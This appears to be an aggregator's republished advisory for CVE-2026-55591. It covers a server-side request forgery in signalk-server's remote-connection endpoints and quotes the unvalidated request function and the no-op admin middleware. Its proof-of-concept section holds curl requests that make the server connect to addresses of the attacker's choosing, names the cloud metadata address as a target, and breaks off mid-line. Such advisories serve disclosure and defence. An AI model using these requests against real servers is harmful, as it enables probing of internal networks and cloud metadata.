🛡️ CVE-2026-55591 — signalk-server
Description
Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints
Summary
signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The makeRemoteRequest() function accepts attacker-controlled host, port, useTLS, and selfsignedcert parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.
When security is not configured (the default state), these endpoints require no authentication.
Details
Vulnerable Function
The core vulnerability is in makeRemoteRequest() at src/serverroutes.ts:2483-2524:
```typescript
function makeRemoteRequest(
host: string,
port: number,
useTLS: boolean,
selfsignedcert: boolean,
path: string,
method?: string,
headers?: Record<string, string>,
body?: unknown
): Promise<{ status: number | undefined; data: string }> {
const protocol = useTLS ? https : http
return new Promise((resolve, reject) => {
const options = {
hostname: host, // NO VALIDATION - attacker controlled
port, // NO VALIDATION - attacker controlled
path,
method: method || 'GET',
headers: {
...(headers || {}),
...(body ? { 'Content-Type': 'application/json' } : {})
},
rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification
}
const req = protocol.request(options, (response) => {
let data = ''
response.on('data', (chunk: string) => {
data += chunk
})
response.on('end', () => {
resolve({ status: response.statusCode, data })
})
})
req.on('error', reject)
req.setTimeout(10000, () => {
req.destroy(new Error('Connection timed out'))
})
if (body) {
req.write(JSON.stringify(body))
}
req.end()
})
}
```
Missing Validation
The function performs zero validation on the destination host. The following address ranges are all reachable:
- Loopback:
127.0.0.1,::1,localhost - RFC 1918 private ranges:
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 - Link-local / Cloud metadata:
169.254.169.254(AWS EC2 instance metadata, GCP, Azure IMDS) - IPv6 link-local:
fe80::/10 - Any arbitrary external host: enabling the server as an open proxy
Authentication Bypass via Default Configuration
The endpoints are protected by addAdminMiddleware() (lines 2339-2345):
```typescript
app.securityStrategy.addAdminMiddleware(${SERVERROUTESPREFIX}/testSignalKConnection)
app.securityStrategy.addAdminMiddleware(${SERVERROUTESPREFIX}/requestAccess)
app.securityStrategy.addAdminMiddleware(${SERVERROUTESPREFIX}/checkAccessRequest)
```
However, when security is not configured, the server uses dummysecurity.ts, where addAdminMiddleware is a no-op:
```typescript
addAdminMiddleware: () => {},
```
This means on a default installation with no admin user created, all three endpoints are accessible without any authentication.
Additional Attack Surface: TLS Verification Bypass
The selfsignedcert parameter directly controls rejectUnauthorized:
```typescript
rejectUnauthorized: !selfsignedcert
```
When an attacker sets selfsignedcert: true, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.
Additional Attack Surface: Path Traversal in checkAccessRequest
The checkAccessRequest endpoint interpolates requestId directly into the URL path:
```typescript
/signalk/v1/requests/${requestId}
```
An attacker can use path traversal (e.g., requestId: "../../other/endpoint") to target arbitrary paths on the destination host.
PoC
Target Setup
Set up a bare-metal signalk-server for testing (or use Docker to simulate):
```bash
docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
bash -c 'npm install -g [email protected] && signalk-server'
# Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done
```
Set the target variable:
```bash
TARGET=http://127.0.0.1:3000
```
Confirm "authenticationRequired":false in the loginStatus response before proceeding.
PoC 1: Loopback Connection (Self-Discovery)
```bash
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
```
Response (confirms SSRF, the server connected to itself):
```json
{
"success": true,
"authenticated": false,
"server": {
"id": "signalk-server-node",
"version": "2.27.0"
}
}
```
PoC 2: Port Scanning via Error Differentiation
```bash
# Open port (30
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity none, availability none.
Weakness class
CVE-2026-55591 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.
Affected software
CVE-2026-55591 is recorded against 1 package.
- signalk-server
Timeline and source
Published on 18 June 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| signalk-server | — | — |
References
Similar Threats
- High CVE-2026-41893
- High CVE-2026-39320
- Critical CVE-2026-33950
- High CVE-2026-33951
- Medium CVE-2026-34083
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Free Vulnerability Check
Is your site affected by CVE-2026-55591?
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-55591 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.